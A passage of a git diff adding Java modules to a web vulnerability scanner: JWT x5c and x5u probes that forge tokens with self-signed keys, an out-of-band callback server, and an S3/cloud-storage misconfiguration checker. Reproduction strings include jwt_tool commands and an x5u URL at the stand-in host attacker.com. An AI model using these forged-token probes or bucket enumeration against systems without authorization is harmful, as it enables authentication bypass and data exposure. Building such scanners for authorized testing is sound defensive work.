.encodeToString(headerJson.getBytes(StandardCharsets.UTF_8)); + + // Sign the JWT with the attacker's private key (matches x5c cert) + String sigInput = forgedHeader + "." + parts[1]; + Signature rsaSig = Signature.getInstance("SHA256withRSA"); + rsaSig.initSign(kp.getPrivate()); + rsaSig.update(sigInput.getBytes(StandardCharsets.UTF_8)); + String sig = Base64.getUrlEncoder().withoutPadding().encodeToString(rsaSig.sign()); + String forgedToken = sigInput + "." + sig; + + log.accept("[~] JWT: x5c token forjado com certificado self-signed, enviando probes"); + for (String path : AUTH_PATHS) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(base + path)) + .header("Authorization", "Bearer " + forgedToken).timeout(Duration.ofSeconds(5)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.discarding(), "JWT"); + log.accept("[~] JWT: x5c " + path + " -> HTTP " + resp.statusCode()); + if (resp.statusCode() == 200) { + String cweId = CweRegistry.cweId("JWT"); + String cweTitle = CweRegistry.cweTitle("JWT"); + String cvssVector = CweRegistry.cvssVector("JWT"); + double score = CvssCalculator.calculate(cvssVector); + return Optional.of(Finding.of("JWT", base + path, "x5c self-signed certificate accepted", + Severity.CRITICAL, + "Probe em " + base + path + " -> HTTP 200 com certificado self-signed no header x5c", + "Servidor confia no certificado embutido no token -- atacante pode" + + " gerar qualquer certificado e self-sign tokens" + " arbitrarios", + "# 1. Gerar chave + cert:\nopenssl req -x509 -nodes" + + " -newkey rsa:2048 -keyout key.pem -out cert.pem" + " -subj '/CN=attacker'\n" + + "# 2. Forjar token com x5c:\n" + "python3 jwt_tool.py -X x5c" + + " -pk key.pem -pc cert.pem", + "Ignorar o campo x5c do header; validar tokens apenas com" + + " certificados pre-configurados no servidor ou via" + + " CA trust chain verificada", + cweId, cweTitle, cvssVector, score)); + } + } catch (Exception ex) { + log.accept("[~] JWT: x5c " + path + " -- " + ex.getMessage()); + } + } + } catch (Exception e) { + log.accept("[~] JWT: x5c -- " + e.getMessage()); + } + return Optional.empty(); + } + + /** + * Builds a minimal self-signed X.509 v3 certificate using BouncyCastle ASN.1 + * primitives (bcprov only -- no bcpkix dependency). The certificate is valid + * for 1 year with a throwaway CN. + */ + private static byte[] buildSelfSignedCert(KeyPair kp) throws Exception { + AlgorithmIdentifier sigAlgId = new AlgorithmIdentifier(PKCSObjectIdentifiers.sha256WithRSAEncryption, + DERNull.INSTANCE); + X500Name dn = new X500Name("CN=anarcry-probe"); + long now = System.currentTimeMillis(); + + V3TBSCertificateGenerator tbsGen = new V3TBSCertificateGenerator(); + tbsGen.setSerialNumber(new ASN1Integer(now)); + tbsGen.setSignature(sigAlgId); + tbsGen.setIssuer(dn); + tbsGen.setStartDate(new Time(new Date(now))); + tbsGen.setEndDate(new Time(new Date(now + 365L * 86400 * 1000))); + tbsGen.setSubject(dn); + tbsGen.setSubjectPublicKeyInfo(SubjectPublicKeyInfo.getInstance(kp.getPublic().getEncoded())); + + // Generate TBS structure and sign it + var tbs = tbsGen.generateTBSCertificate(); + Signature rsaSig = Signature.getInstance("SHA256withRSA"); + rsaSig.initSign(kp.getPrivate()); + rsaSig.update(tbs.getEncoded()); + byte[] sigBytes = rsaSig.sign(); + + // Assemble the Certificate structure: SEQUENCE { tbs, sigAlg, sigValue } + ASN1EncodableVector v = new ASN1EncodableVector(); + v.add(tbs); + v.add(sigAlgId); + v.add(new DERBitString(sigBytes)); + return new DERSequence(v).getEncoded(); + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/X5uCertProbe.java b/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/X5uCertProbe.java new file mode 100644 index 0000000..df2881b --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/X5uCertProbe.java @@ -0,0 +1,167 @@ +package gg.effront.anarcry.scanner.crypto.jwt; + +import gg.effront.anarcry.model.CvssCalculator; +import gg.effront.anarcry.model.CweRegistry; +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.util.Http; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.time.Duration; +import java.util.Base64; +import java.util.List; +import java.util.Optional; +import java.util.function.Consumer; + +/** + * Probes x5u header injection: sets the x5u field to a canary URL (localhost + * port 1) and signs the token with a throwaway key. If the server attempts to + * fetch the x5u URL, the response will differ from a normal "invalid token" + * rejection -- either a 500, a connection error in the body, or a measurable + * timing anomaly. + * + *

+ * This is a detection-only probe. Full exploitation requires an + * attacker-controlled server hosting a self-signed certificate, but the fetch + * behavior alone confirms the vulnerability. + */ +public class X5uCertProbe { + + private static final List AUTH_PATHS = List.of("/api/me", "/api/user", "/api/profile"); + + // Known-unreachable URL -- localhost port 1 is almost never listening. + // If the server tries to connect, it gets connection refused quickly. + private static final String CANARY_X5U = "https://127.0.0.1:1/x5u-probe"; + + public Optional probe(String[] parts, ScanContext ctx, String base, HttpClient hc, Consumer log) { + if (parts.length < 3 || parts[2] == null || parts[2].isBlank()) { + log.accept("[~] JWT: x5u -- token sem signature para baseline, pulando"); + return Optional.empty(); + } + log.accept("[~] JWT: probe x5u remote certificate fetch -> " + base); + try { + // Generate throwaway key pair -- only needed to produce a signed token + KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA"); + kpg.initialize(2048); + KeyPair kp = kpg.generateKeyPair(); + + // Build JWT header with x5u pointing to canary + String headerJson = "{\"alg\":\"RS256\",\"typ\":\"JWT\",\"x5u\":\"" + CANARY_X5U + "\"}"; + String forgedHeader = Base64.getUrlEncoder().withoutPadding() + .encodeToString(headerJson.getBytes(StandardCharsets.UTF_8)); + String sigInput = forgedHeader + "." + parts[1]; + + Signature rsaSig = Signature.getInstance("SHA256withRSA"); + rsaSig.initSign(kp.getPrivate()); + rsaSig.update(sigInput.getBytes(StandardCharsets.UTF_8)); + String sig = Base64.getUrlEncoder().withoutPadding().encodeToString(rsaSig.sign()); + String forgedToken = sigInput + "." + sig; + + // Build baseline token with flipped last byte of original signature + byte[] origSigBytes = Base64.getUrlDecoder().decode(padB64(parts[2])); + origSigBytes[origSigBytes.length - 1] ^= (byte) 0xFF; + String badSig = Base64.getUrlEncoder().withoutPadding().encodeToString(origSigBytes); + String baselineToken = parts[0] + "." + parts[1] + "." + badSig; + + log.accept("[~] JWT: x5u token forjado, comparando com baseline de rejeicao"); + + for (String path : AUTH_PATHS) { + try { + // Baseline: send token with bad signature (no x5u header) + HttpRequest baseReq = HttpRequest.newBuilder().uri(URI.create(base + path)) + .header("Authorization", "Bearer " + baselineToken).timeout(Duration.ofSeconds(5)).GET() + .build(); + long t0 = System.nanoTime(); + HttpResponse baseResp = Http.send(ctx, hc, baseReq, HttpResponse.BodyHandlers.ofString(), + "JWT"); + long baselineMs = (System.nanoTime() - t0) / 1_000_000; + + // Skip paths that accept any token (no auth required) + if (baseResp.statusCode() == 200) { + continue; + } + + // Probe: send token with x5u canary + HttpRequest probeReq = HttpRequest.newBuilder().uri(URI.create(base + path)) + .header("Authorization", "Bearer " + forgedToken).timeout(Duration.ofSeconds(8)).GET() + .build(); + long t1 = System.nanoTime(); + HttpResponse probeResp = Http.send(ctx, hc, probeReq, HttpResponse.BodyHandlers.ofString(), + "JWT"); + long probeMs = (System.nanoTime() - t1) / 1_000_000; + + log.accept("[~] JWT: x5u " + path + " -> baseline HTTP " + baseResp.statusCode() + " (" + baselineMs + + "ms), probe HTTP " + probeResp.statusCode() + " (" + probeMs + "ms)"); + + // Detection heuristics: + // 1. HTTP 200 -- server accepted the forged token + // 2. 5xx vs baseline 4xx -- server tried to fetch x5u and failed + // 3. Timing anomaly (>3s delta) -- server attempted connection + // 4. Connection error keywords in body -- server reports fetch failure + boolean accepted = probeResp.statusCode() == 200; + boolean serverError = probeResp.statusCode() >= 500 && baseResp.statusCode() < 500; + boolean timingAnomaly = probeMs > baselineMs + 3000; + String probeBody = probeResp.body() != null ? probeResp.body() : ""; + boolean connectionError = probeBody.contains("Connection refused") + || probeBody.contains("connect timed out") || probeBody.contains("ECONNREFUSED") + || probeBody.contains("connection_refused"); + + if (accepted || serverError || timingAnomaly || connectionError) { + Severity sev = accepted ? Severity.CRITICAL : Severity.HIGH; + String detail = buildDetail(accepted, serverError, timingAnomaly, probeResp.statusCode(), + baseResp.statusCode(), probeMs, baselineMs); + String cweId = CweRegistry.cweId("JWT"); + String cweTitle = CweRegistry.cweTitle("JWT"); + String cvssVector = CweRegistry.cvssVector("JWT"); + double score = CvssCalculator.calculate(cvssVector); + return Optional.of(Finding.of("JWT", base + path, "x5u remote certificate fetch detected", sev, + "Probe em " + base + path + " -- " + detail + " | x5u=" + CANARY_X5U, + "Servidor busca certificado de URL controlada pelo atacante" + + " via x5u -- permite self-sign de tokens com chave" + " propria", + "# 1. Gerar chave + cert:\nopenssl req -x509 -nodes" + + " -newkey rsa:2048 -keyout key.pem -out cert.pem" + " -subj '/CN=attacker'\n" + + "# 2. Servir certificado:\n" + "python3 -m http.server 8443\n" + + "# 3. Forjar token com x5u:\n" + "python3 jwt_tool.py -X x5u" + + " -xu https://attacker.com/cert.pem -pk key.pem", + "Ignorar o campo x5u do header; nunca buscar certificados" + + " de URLs controladas pelo token; usar apenas" + " trust store local", + cweId, cweTitle, cvssVector, score)); + } + } catch (Exception ex) { + log.accept("[~] JWT: x5u " + path + " -- " + ex.getMessage()); + } + } + } catch (Exception e) { + log.accept("[~] JWT: x5u -- " + e.getMessage()); + } + return Optional.empty(); + } + + private static String buildDetail(boolean accepted, boolean serverError, boolean timingAnomaly, int probeStatus, + int baselineStatus, long probeMs, long baselineMs) { + if (accepted) { + return "Servidor aceitou token com x5u attacker-controlled -> HTTP 200"; + } + if (serverError) { + return "Servidor retornou " + probeStatus + " (vs baseline " + baselineStatus + + ") -- indica tentativa de fetch do x5u"; + } + if (timingAnomaly) { + return "Probe levou " + probeMs + "ms (baseline " + baselineMs + "ms) -- delay indica fetch do x5u"; + } + return "Response contem indicacao de connection error ao tentar fetch x5u"; + } + + private static String padB64(String s) { + int mod = s.length() % 4; + return mod == 0 ? s : s + "=".repeat(4 - mod); + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/oast/OastCallback.java b/src/main/java/gg/effront/anarcry/scanner/oast/OastCallback.java new file mode 100644 index 0000000..2c89f81 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/oast/OastCallback.java @@ -0,0 +1,9 @@ +package gg.effront.anarcry.scanner.oast; + +/** + * Represents an incoming callback received by the OAST server. The + * {@code payloadId} is extracted from the callback URL path and used for + * correlation against registered payloads. + */ +public record OastCallback(String payloadId, String protocol, String sourceIp, String requestData, long receivedAt) { +} diff --git a/src/main/java/gg/effront/anarcry/scanner/oast/OastConfig.java b/src/main/java/gg/effront/anarcry/scanner/oast/OastConfig.java new file mode 100644 index 0000000..ef4a102 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/oast/OastConfig.java @@ -0,0 +1,35 @@ +package gg.effront.anarcry.scanner.oast; + +/** + * Configuration for the OAST (Out-of-Band Application Security Testing) + * subsystem. + * + * @param enabled + * whether OAST callback listening is active + * @param externalUrl + * user-provided external URL for the callback server (e.g. when + * behind NAT); empty string means auto-detect + * @param callbackWaitSeconds + * how long to wait after Phase 2 for OOB callbacks to arrive + */ +public record OastConfig(boolean enabled, String externalUrl, int callbackWaitSeconds) { + + private static final int DEFAULT_WAIT_SECONDS = 30; + + public OastConfig { + if (externalUrl == null) { + externalUrl = ""; + } + if (callbackWaitSeconds <= 0) { + callbackWaitSeconds = DEFAULT_WAIT_SECONDS; + } + } + + public static OastConfig disabled() { + return new OastConfig(false, "", DEFAULT_WAIT_SECONDS); + } + + public static OastConfig withDefaults() { + return new OastConfig(true, "", DEFAULT_WAIT_SECONDS); + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/oast/OastCorrelator.java b/src/main/java/gg/effront/anarcry/scanner/oast/OastCorrelator.java new file mode 100644 index 0000000..656cfcf --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/oast/OastCorrelator.java @@ -0,0 +1,105 @@ +package gg.effront.anarcry.scanner.oast; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; + +/** + * Thread-safe correlator that matches incoming OOB callbacks to previously + * registered payloads. + * + *

+ * Scanner modules register payloads via {@link #registerPayload(OastPayload)} + * before injection. The {@link OastServer} records callbacks via + * {@link #recordCallback(OastCallback)}. After the callback wait period, + * {@link #correlate()} returns all matched hits. + * + *

+ * The correlator also holds the callback base URL so scanner modules can + * generate full callback URLs without direct access to the {@link OastServer}. + */ +public class OastCorrelator { + + private final Map pendingPayloads = new ConcurrentHashMap<>(); + private final List receivedCallbacks = Collections.synchronizedList(new ArrayList<>()); + private volatile String callbackBaseUrl = ""; + + /** Set the callback base URL (called by OastServer after binding). */ + public void setCallbackBaseUrl(String url) { + this.callbackBaseUrl = url != null ? url : ""; + } + + /** Get the callback base URL (e.g. http://192.168.1.10:12345). */ + public String callbackBaseUrl() { + return callbackBaseUrl; + } + + /** + * Generate a full callback URL for a specific payload ID. + * + * @return the callback URL, or empty string if no base URL is configured + */ + public String callbackUrl(String payloadId) { + if (callbackBaseUrl.isEmpty()) { + return ""; + } + return callbackBaseUrl + "/" + payloadId; + } + + /** Register a payload before injecting it into the target. */ + public void registerPayload(OastPayload payload) { + pendingPayloads.put(payload.payloadId(), payload); + } + + /** Record an incoming callback from the OAST server. */ + public void recordCallback(OastCallback callback) { + receivedCallbacks.add(callback); + } + + /** + * Correlate all received callbacks against registered payloads. + * + * @return list of correlated hits where a callback matched a registered payload + */ + public List correlate() { + List hits = new ArrayList<>(); + synchronized (receivedCallbacks) { + for (OastCallback cb : receivedCallbacks) { + OastPayload payload = pendingPayloads.get(cb.payloadId()); + if (payload != null) { + hits.add(new CorrelatedHit(payload, cb)); + } + } + } + return hits; + } + + /** Number of registered (pending) payloads. */ + public int pendingCount() { + return pendingPayloads.size(); + } + + /** Number of received callbacks. */ + public int callbackCount() { + return receivedCallbacks.size(); + } + + /** + * Generate a unique payload ID suitable for embedding in URLs and DNS labels. + * Uses a truncated UUID (first 12 hex chars) to stay within DNS label length + * limits while remaining practically unique within a single scan session. + */ + public static String generatePayloadId() { + return UUID.randomUUID().toString().replace("-", "").substring(0, 12); + } + + /** + * A correlated hit linking the original payload to the callback that confirmed + * it. + */ + public record CorrelatedHit(OastPayload payload, OastCallback callback) { + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/oast/OastPayload.java b/src/main/java/gg/effront/anarcry/scanner/oast/OastPayload.java new file mode 100644 index 0000000..dac01a6 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/oast/OastPayload.java @@ -0,0 +1,9 @@ +package gg.effront.anarcry.scanner.oast; + +/** + * Links a generated OAST payload to its originating scan context -- the module + * that injected it, the target endpoint, and the parameter used. + */ +public record OastPayload(String payloadId, String moduleId, String targetEndpoint, String parameterName, + String fullPayload, long createdAt) { +} diff --git a/src/main/java/gg/effront/anarcry/scanner/oast/OastServer.java b/src/main/java/gg/effront/anarcry/scanner/oast/OastServer.java new file mode 100644 index 0000000..54fbad8 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/oast/OastServer.java @@ -0,0 +1,170 @@ +package gg.effront.anarcry.scanner.oast; + +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpServer; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.Inet4Address; +import java.net.InetAddress; +import java.net.InetSocketAddress; +import java.net.NetworkInterface; +import java.nio.charset.StandardCharsets; +import java.util.Enumeration; +import java.util.function.Consumer; + +/** + * Lightweight HTTP callback listener for OAST (Out-of-Band Application Security + * Testing). + * + *

+ * Uses the JDK built-in {@link com.sun.net.httpserver.HttpServer} to listen on + * a random available port. Every incoming request is recorded as an + * {@link OastCallback} via the {@link OastCorrelator}. The payload ID is + * extracted from the first segment of the URL path. + */ +public class OastServer implements AutoCloseable { + + private final HttpServer server; + private final OastCorrelator correlator; + private final int port; + private final String externalBaseUrl; + + /** + * Start the OAST callback listener. + * + * @param correlator + * shared correlator instance for recording callbacks + * @param externalUrl + * user-provided external URL (empty for auto-detect) + * @param log + * callback for status messages + * @throws IOException + * if the server cannot bind + */ + public OastServer(OastCorrelator correlator, String externalUrl, Consumer log) throws IOException { + this.correlator = correlator; + this.server = HttpServer.create(new InetSocketAddress(0), 0); + this.port = server.getAddress().getPort(); + + if (externalUrl != null && !externalUrl.isBlank()) { + // Strip trailing slash for consistency + this.externalBaseUrl = externalUrl.endsWith("/") + ? externalUrl.substring(0, externalUrl.length() - 1) + : externalUrl; + } else { + String detectedIp = detectExternalIp(); + this.externalBaseUrl = "http://" + detectedIp + ":" + port; + } + + server.createContext("/", this::handleCallback); + server.setExecutor(null); + server.start(); + correlator.setCallbackBaseUrl(externalBaseUrl); + log.accept("[+] OAST: callback server listening on port " + port + " (" + externalBaseUrl + ")"); + } + + /** Get the base callback URL (e.g. http://192.168.1.10:12345). */ + public String callbackBaseUrl() { + return externalBaseUrl; + } + + /** Generate a full callback URL for a specific payload ID. */ + public String callbackUrl(String payloadId) { + return externalBaseUrl + "/" + payloadId; + } + + /** The port the server is listening on. */ + public int port() { + return port; + } + + @Override + public void close() { + server.stop(0); + } + + private void handleCallback(HttpExchange exchange) throws IOException { + try { + String path = exchange.getRequestURI().getPath(); + // Extract payload ID from first path segment: /abc123def456/... -> abc123def456 + String payloadId = extractPayloadId(path); + + String sourceIp = exchange.getRemoteAddress() != null + ? exchange.getRemoteAddress().getAddress().getHostAddress() + : "unknown"; + + String method = exchange.getRequestMethod(); + String requestData = method + " " + exchange.getRequestURI() + " from " + sourceIp + " headers=" + + exchange.getRequestHeaders().entrySet(); + + if (!payloadId.isEmpty()) { + OastCallback callback = new OastCallback(payloadId, "http", sourceIp, requestData, + System.currentTimeMillis()); + correlator.recordCallback(callback); + } + + // Always respond 200 OK -- we want the target to consider the request + // successful + byte[] response = "ok".getBytes(StandardCharsets.UTF_8); + exchange.sendResponseHeaders(200, response.length); + try (OutputStream os = exchange.getResponseBody()) { + os.write(response); + } + } catch (Exception e) { + // Best-effort: respond 200 even on internal errors to avoid leaking info + try { + exchange.sendResponseHeaders(200, 0); + exchange.getResponseBody().close(); + } catch (Exception ignored) { + // Connection may already be closed + } + } + } + + /** + * Extract payload ID from URL path. Expects format: /{payloadId} or + * /{payloadId}/anything The payload ID is a 12-char hex string. + */ + static String extractPayloadId(String path) { + if (path == null || path.length() < 2) { + return ""; + } + // Remove leading slash + String trimmed = path.startsWith("/") ? path.substring(1) : path; + // Take first segment + int slash = trimmed.indexOf('/'); + String segment = slash > 0 ? trimmed.substring(0, slash) : trimmed; + // Validate: payload IDs are 12 hex chars + if (segment.length() == 12 && segment.matches("[0-9a-f]+")) { + return segment; + } + return ""; + } + + /** + * Detect a non-loopback IPv4 address for this host. Falls back to 127.0.0.1 if + * no external interface is found. + */ + private static String detectExternalIp() { + try { + Enumeration interfaces = NetworkInterface.getNetworkInterfaces(); + while (interfaces.hasMoreElements()) { + NetworkInterface iface = interfaces.nextElement(); + if (iface.isLoopback() || !iface.isUp()) { + continue; + } + Enumeration addresses = iface.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = addresses.nextElement(); + if (addr instanceof Inet4Address && !addr.isLoopbackAddress()) { + return addr.getHostAddress(); + } + } + } + } catch (Exception e) { + // Fall through to default + } + return "127.0.0.1"; + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/web/cloud/CloudMisconfigModule.java b/src/main/java/gg/effront/anarcry/scanner/web/cloud/CloudMisconfigModule.java new file mode 100644 index 0000000..9fb324d --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/web/cloud/CloudMisconfigModule.java @@ -0,0 +1,496 @@ +package gg.effront.anarcry.scanner.web.cloud; + +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.util.CircuitBreakerException; +import gg.effront.anarcry.scanner.util.Http; +import gg.effront.anarcry.scanner.util.HttpClientFactory; +import gg.effront.anarcry.scanner.util.ProbeExecutor; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.concurrent.Callable; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.function.Consumer; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class CloudMisconfigModule implements Scanner { + + // S3 bucket URL patterns + private static final Pattern S3_PATTERN = Pattern + .compile("(?:https?://)?(" + "([a-z0-9][a-z0-9.\\-]{1,61})\\.s3[.\\-][a-z0-9\\-]+\\.amazonaws\\.com" + + "|s3[.\\-][a-z0-9\\-]+\\.amazonaws\\.com/([a-z0-9][a-z0-9.\\-]{1,61})" + + "|([a-z0-9][a-z0-9.\\-]{1,61})\\.s3\\.amazonaws\\.com" + + "|s3\\.amazonaws\\.com/([a-z0-9][a-z0-9.\\-]{1,61})" + ")", Pattern.CASE_INSENSITIVE); + + // Azure Blob Storage pattern + private static final Pattern AZURE_BLOB_PATTERN = Pattern.compile( + "https?://([a-z0-9]{3,24})\\.blob\\.core\\.windows\\.net/([a-z0-9][a-z0-9\\-]{2,62})", + Pattern.CASE_INSENSITIVE); + + // Google Cloud Storage pattern + private static final Pattern GCS_PATTERN = Pattern.compile( + "https?://storage\\.googleapis\\.com/([a-z0-9][a-z0-9._\\-]{1,61}[a-z0-9])", Pattern.CASE_INSENSITIVE); + + // Firebase pattern + private static final Pattern FIREBASE_PATTERN = Pattern.compile("https?://([a-z0-9\\-]+)\\.firebaseio\\.com", + Pattern.CASE_INSENSITIVE); + + // Cloud headers that indicate cloud provider + private static final List CLOUD_HEADERS = List.of("x-amz-request-id", "x-amz-id-2", "x-amz-cf-id", + "x-amz-cf-pop", "x-amzn-requestid", "x-goog-hash", "x-goog-generation", "x-goog-stored-content-length", + "x-ms-request-id", "x-ms-version", "x-azure-ref"); + + // S3 bucket suffixes to enumerate + private static final List BUCKET_SUFFIXES = List.of("", "-assets", "-backup", "-backups", "-dev", + "-staging", "-prod", "-static", "-media", "-uploads", "-public", "-data", "-files", "-logs", "-images", + "-cdn"); + + private static final List FALLBACK_PATHS = List.of("/", "/index.html", "/api/", "/assets/", "/static/"); + + @Override + public String id() { + return "CloudMisconfig"; + } + + @Override + public List scan(ScanContext ctx, Consumer log) throws Exception { + List findings = new ArrayList<>(); + HttpClient hc = HttpClientFactory.http2(); + + String scheme = ctx.isHttps() ? "https" : "http"; + int defPort = ctx.isHttps() ? 443 : 80; + String base = scheme + "://" + ctx.host() + (ctx.port() != defPort ? ":" + ctx.port() : ""); + String domain = stripSubdomain(ctx.host()); + + log.accept("[~] " + id() + ": scanning cloud misconfigurations for " + ctx.host()); + + int concurrency = ctx.config().probeConcurrency(); + AtomicBoolean cancel = new AtomicBoolean(false); + List>> tasks = new ArrayList<>(); + + // Phase 5: Check response headers for cloud-specific indicators + tasks.add(() -> { + List local = new ArrayList<>(); + if (cancel.get()) { + return local; + } + Finding hdrFinding = checkCloudHeaders(ctx, hc, base, log); + if (hdrFinding != null) { + local.add(hdrFinding); + } + return local; + }); + + // Scan responses for cloud URLs + Set crawledPaths = ctx.discoveredPaths().paths(); + List scanPaths = crawledPaths.isEmpty() ? FALLBACK_PATHS : new ArrayList<>(crawledPaths); + + tasks.add(() -> { + if (cancel.get()) { + return List.of(); + } + return scanResponsesForCloudUrls(ctx, hc, base, scanPaths, log); + }); + + // Phase 1: S3 bucket enumeration from domain + tasks.add(() -> { + if (cancel.get()) { + return List.of(); + } + return enumerateS3Buckets(ctx, hc, domain, log); + }); + + // Phase 4: Firebase detection + tasks.add(() -> { + if (cancel.get()) { + return List.of(); + } + return checkFirebase(ctx, hc, domain, log); + }); + + findings.addAll(ProbeExecutor.run(tasks, concurrency, cancel)); + + if (findings.isEmpty()) { + log.accept("[+] " + id() + ": nenhuma cloud misconfiguration detectada"); + } + return findings; + } + + // ------------------------------------------------------------------------- + // Phase 5: Cloud header detection + // ------------------------------------------------------------------------- + + private Finding checkCloudHeaders(ScanContext ctx, HttpClient hc, String base, Consumer log) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(base + "/")).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + + List detected = new ArrayList<>(); + for (String header : CLOUD_HEADERS) { + if (resp.headers().firstValue(header).isPresent()) { + detected.add(header + ": " + resp.headers().firstValue(header).orElse("")); + } + } + + if (!detected.isEmpty()) { + String provider = detectProvider(detected); + log.accept("[~] " + id() + ": cloud headers detected (" + provider + ") -- " + detected.size() + + " header(s)"); + return Finding.of(id(), base + "/", "Cloud Provider Headers Exposed -- " + provider, Severity.INFO, + "Headers: " + String.join(", ", detected), + "Cloud-specific response headers reveal the cloud provider and infrastructure" + + " details. This information assists attackers in targeting" + + " provider-specific misconfigurations", + "curl -sI '" + base + "/' | grep -iE '" + String.join("|", CLOUD_HEADERS) + "'", + "Configure the reverse proxy or CDN to strip cloud-specific headers from" + + " responses. Use custom headers instead of exposing provider defaults."); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Target may be unreachable + } + return null; + } + + // ------------------------------------------------------------------------- + // Scan responses for cloud storage URLs and test them + // ------------------------------------------------------------------------- + + private List scanResponsesForCloudUrls(ScanContext ctx, HttpClient hc, String base, List paths, + Consumer log) { + List findings = new ArrayList<>(); + Set testedBuckets = new HashSet<>(); + + for (String path : paths) { + try { + String url = base + path; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + // S3 URLs + Matcher s3m = S3_PATTERN.matcher(body); + while (s3m.find()) { + String bucket = extractS3Bucket(s3m); + if (bucket != null && testedBuckets.add(bucket)) { + Finding f = testS3Bucket(ctx, hc, bucket, url, log); + if (f != null) { + findings.add(f); + } + } + } + + // Azure Blob URLs + Matcher azm = AZURE_BLOB_PATTERN.matcher(body); + while (azm.find()) { + String account = azm.group(1); + String container = azm.group(2); + String key = account + "/" + container; + if (testedBuckets.add(key)) { + Finding f = testAzureBlob(ctx, hc, account, container, url, log); + if (f != null) { + findings.add(f); + } + } + } + + // GCS URLs + Matcher gcsm = GCS_PATTERN.matcher(body); + while (gcsm.find()) { + String bucket = gcsm.group(1); + if (testedBuckets.add("gcs:" + bucket)) { + Finding f = testGcsBucket(ctx, hc, bucket, url, log); + if (f != null) { + findings.add(f); + } + } + } + + // Firebase URLs + Matcher fbm = FIREBASE_PATTERN.matcher(body); + while (fbm.find()) { + String project = fbm.group(1); + if (testedBuckets.add("firebase:" + project)) { + Finding f = testFirebaseProject(ctx, hc, project, url, log); + if (f != null) { + findings.add(f); + } + } + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Skip unreachable paths + } + } + return findings; + } + + // ------------------------------------------------------------------------- + // Phase 1: S3 bucket enumeration and testing + // ------------------------------------------------------------------------- + + private List enumerateS3Buckets(ScanContext ctx, HttpClient hc, String domain, Consumer log) { + List findings = new ArrayList<>(); + log.accept("[~] " + id() + ": enumerating S3 buckets for domain " + domain); + + for (String suffix : BUCKET_SUFFIXES) { + String bucket = domain + suffix; + try { + Finding f = testS3Bucket(ctx, hc, bucket, "enumeration:" + bucket, log); + if (f != null) { + findings.add(f); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Expected for non-existent buckets + } + } + return findings; + } + + private Finding testS3Bucket(ScanContext ctx, HttpClient hc, String bucket, String sourceUrl, + Consumer log) { + String bucketUrl = "https://" + bucket + ".s3.amazonaws.com"; + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(bucketUrl + "/")).timeout(Duration.ofSeconds(6)) + .GET().build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + // Public listing + if (resp.statusCode() == 200 && body.contains("" + " | Found via: " + + sourceUrl, + "The S3 bucket allows public listing of all objects. An attacker can" + + " enumerate and download all files, potentially exposing sensitive" + + " data, backups, credentials, and source code", + "curl -s '" + bucketUrl + "/' | head -50", + "Set the bucket policy to deny public ListBucket. Use S3 Block Public" + + " Access at the account level. Review and remove overly permissive" + + " ACLs. Enable S3 server access logging."); + } + + // Bucket exists but is restricted (AccessDenied) + if (resp.statusCode() == 403 && body.contains("AccessDenied")) { + log.accept("[~] " + id() + ": S3 bucket exists but is restricted -- " + bucket); + // Informational only -- bucket exists + return Finding.of(id(), bucketUrl, "S3 Bucket Detected (Restricted) -- " + bucket, Severity.INFO, + "Bucket: " + bucket + " | Status: 403 AccessDenied | Found via: " + sourceUrl, + "The S3 bucket exists and is associated with the target. While listing is" + + " denied, individual objects may still be accessible if their ACLs" + + " are misconfigured", + "curl -s -o /dev/null -w '%{http_code}' '" + bucketUrl + "/'", + "Ensure all objects in the bucket have appropriate ACLs. Enable S3 Block" + + " Public Access. Review bucket policies regularly."); + } + } catch (CircuitBreakerException cbe) { + throw 